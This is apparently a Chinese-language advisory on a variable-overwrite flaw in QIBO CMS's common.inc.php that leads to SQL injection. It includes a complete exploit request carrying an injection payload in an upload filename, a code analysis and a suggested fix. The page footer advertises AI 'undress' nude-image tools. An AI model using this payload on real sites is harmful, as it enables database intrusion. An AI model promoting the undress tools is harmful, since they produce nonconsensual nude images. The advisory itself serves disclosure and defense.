QIBO CMS /inc/common.inc.php Local Variables Overriding Vul
目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量
目录
<span>1</span><span>. 漏洞描述 </span><span>2</span><span>. 漏洞触发条件 </span><span>3</span><span>. 漏洞影响范围 </span><span>4</span><span>. 漏洞代码分析 </span><span>5</span><span>. 防御方法 </span><span>6</span>. 攻防思考
1. 漏洞描述
齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险 齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Relevant Link:
http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
2. 漏洞触发条件
0x1: 攻击入口
构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php
<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包 </span><span>2</span><span>. 在http request中构造一个attachment,如下: </span><span>/*</span><span> POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span> User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span> Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work </span> Accept-<span>Encoding: gzip,deflate,sdch Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span> Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1; passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork Content</span>-Type: multipart/form-<span>data; boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Length: <span>227</span> ------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span> Content</span>-Type: text/<span>plain </span><span>1111</span> ------WebKitFormBoundary6ukpBHoIrpHKtOkl-- */<span> 注意将原来的URL上的cidDB[]</span>=<span>x删除掉; 然后构造一个文件上传的报文(GET改为POST方法) 在filename处填入注入的payload </span><span>3</span><span>. 提交该数据包,即可注入成功 </span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
Relevant Link:
http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
3. 漏洞影响范围
齐博所有系统、所有版本
4. 漏洞代码分析
\qibo\inc\common.inc.php
<span>/*</span><span> 全局变量文件对GPC变量的过滤 从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数 这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖 </span><span>*/</span><span> $_POST</span>=<span>Add_S($_POST); $_GET</span>=<span>Add_S($_GET); $_COOKIE</span>=<span>Add_S($_COOKIE); function Add_S($array) { </span><span>foreach</span>($array <span>as</span> $key=><span>$value) { </span><span>if</span>(!<span>is_array($value)) { $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value); <span>//</span><span>过滤一些不安全字符</span> $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value); <span>//</span><span>过滤不安全函数</span> !get_magic_quotes_gpc() && $value=<span>addslashes($value); $array[$key]</span>=<span>$value; } </span><span>else</span><span> { $array[$key]</span>=<span>Add_S($array[$key]); } } </span><span>return</span><span> $array; } </span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { @extract($_FILES,EXTR_SKIP); } </span><span>foreach</span>($_COOKIE AS $_key=><span>$_value) { unset($$_key); } </span><span>foreach</span>($_POST AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key]; } </span><span>foreach</span>($_GET AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key]; }</span>
5. 防御方法
\qibo\inc\common.inc.php
<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>); </span><span>foreach</span>($array AS $key=><span>$value) { is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value]; } }</span>
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











PHP 프레임워크와 CMS의 통합으로 인한 이점은 다음과 같습니다. 1. 개발 효율성 향상 2. 보안 강화 3. 콘텐츠 관리 단순화; 실제 사례에서는 Laravel 프레임워크를 WordPressCMS와 통합하여 맞춤형 기능을 갖춘 블로그 웹사이트를 만들었습니다. 통합 단계에는 Laravel 애플리케이션 생성, WordPress 설치, WordPress 구성, 컨트롤러 생성, 라우팅 정의, WordPress 데이터 가져오기 등이 포함됩니다. Laravel 뷰 디스플레이 데이터.

인터넷의 대중화와 발전으로 금융 웹사이트는 점점 더 중요해지고 있습니다. 금융웹사이트는 금융산업의 사업개발, 마케팅, 브랜드 구축 등에 결정적인 역할을 합니다. 요즘에는 CMS 시스템의 인기와 성숙도에 따라 점점 더 많은 회사에서 웹 사이트 개발에 CMS 시스템을 사용하기 시작했습니다. 이 기사에서는 금융 웹사이트 개발에 PHPCMS 시스템을 사용하는 방법에 중점을 둘 것입니다. 1. CMS 시스템을 이해한다. CMS 시스템은 Content Management System의 약어로, 빠르게 제작할 수 있는 시스템을 말한다.

Java를 사용하여 CMS 시스템의 데이터 동기화 모듈을 작성하는 방법 소개: 정보화 시대가 발전하고 인터넷이 대중화되면서 콘텐츠 관리 시스템(CMS)이 사회 각계각층에서 널리 사용되고 있습니다. 다양한 사용자 그룹 사이에서 콘텐츠 관리를 위해서는 여러 데이터 소스의 동기화가 필요하며, 이를 위해서는 효율적이고 안정적인 데이터 동기화 모듈이 필요합니다. 이 기사에서는 Java를 사용하여 CMS 시스템의 데이터 동기화 모듈을 작성하는 방법을 소개하고 관련 코드 예제를 제공합니다. 1. 개요 데이터 동기화는 여러 데이터 소스 간의 데이터 전송을 의미합니다.

Empire CMS 디렉토리의 위치가 공개되었습니다. Empire CMS(EmpireCMS)는 유연성과 풍부한 기능으로 사용자들에게 사랑을 받고 있습니다. 웹사이트 개발 과정에서 Empire CMS의 디렉터리 구조와 파일 위치를 이해하는 것이 중요합니다. 이를 통해 개발자는 웹사이트 콘텐츠와 기능을 더 잘 관리할 수 있습니다. 이 기사에서는 Empire CMS의 디렉터리 위치를 공개하고 독자가 이 콘텐츠 관리 시스템에 대해 더 깊이 이해할 수 있도록 구체적인 코드 예제를 제공합니다. 1.기본 디렉토리 구조

Java를 사용하여 CMS 시스템의 사진 워터마크 기능을 구현하는 방법 요약: CMS 시스템에 사진 워터마크 기능을 추가하면 사진의 변조 및 도난을 효과적으로 방지할 수 있습니다. 이 기사에서는 Java를 사용하여 CMS 시스템의 이미지 워터마크 기능을 구현하는 방법을 소개하고 코드 예제를 제공합니다. 서론 인터넷의 대중화와 디지털 카메라의 대중화로 인해 사진의 도난과 변조가 일반적인 문제가 되었습니다. 이미지의 저작권을 보호하기 위해 많은 CMS 시스템에는 이미지 워터마크 기능이 추가됩니다. 이미지 워터마킹은 사진과 같은 이미지에 식별 가능한 정보를 추가하는 기술입니다.

PHPcms는 웹사이트 개발에 널리 사용되는 강력한 콘텐츠 관리 시스템입니다. 열 캐싱은 PHPcms의 중요한 기능으로, 웹 사이트 액세스 속도를 향상시키고 서버 부담을 줄일 수 있습니다. 이 기사에서는 PHPcms 열 캐시의 저장 경로를 공개하고 구체적인 코드 예제를 제공합니다. 1. 컬럼 캐싱이란? 컬럼 캐싱이란 웹 사이트의 컬럼 내용에서 정적 파일을 생성하여 지정된 경로에 저장하는 것을 의미합니다. . 이것

PHPcm을 다른 시스템과 통합하기 위한 실용적인 팁 인터넷 기술의 지속적인 발전으로 인해 웹사이트 개발 분야는 더욱 다양해지고 복잡해졌습니다. 실제 프로젝트에서 우리는 다양한 시스템을 통합해야 하는 상황에 자주 직면하며, 이를 위해서는 이러한 문제를 해결하기 위한 특정 기술과 경험이 필요합니다. 이 기사에서는 개발자가 문제에 더 잘 대처할 수 있도록 PHPcms 시스템을 다른 시스템과 통합하기 위한 몇 가지 실용적인 팁과 구체적인 코드 예제를 소개합니다. 1. 통합의 기본 원칙 시스템 통합을 수행할 때 가장 먼저 해야 할 일은

PHPcm이 유지 관리를 중단할 때의 영향과 대응 인터넷 기술의 지속적인 발전으로 인해 웹 사이트 구축은 많은 기업과 개인에게 필수적인 도구가 되었습니다. 웹사이트 구축에 있어 콘텐츠 관리 시스템(CMS)은 중요한 역할을 합니다. 일반적으로 사용되는 CMS 도구로 PHPcms는 한때 매우 인기가 있었습니다. 그러나 시간이 지남에 따라 PHPcms 버전의 업데이트 및 유지 관리가 점차 감소하거나 유지 관리가 중단되어 사용자와 개발자에게 일련의 영향을 미칩니다. 이 기사에서는 유지 관리에서 PHPcm의 영향을 살펴보고 다음을 제공합니다.
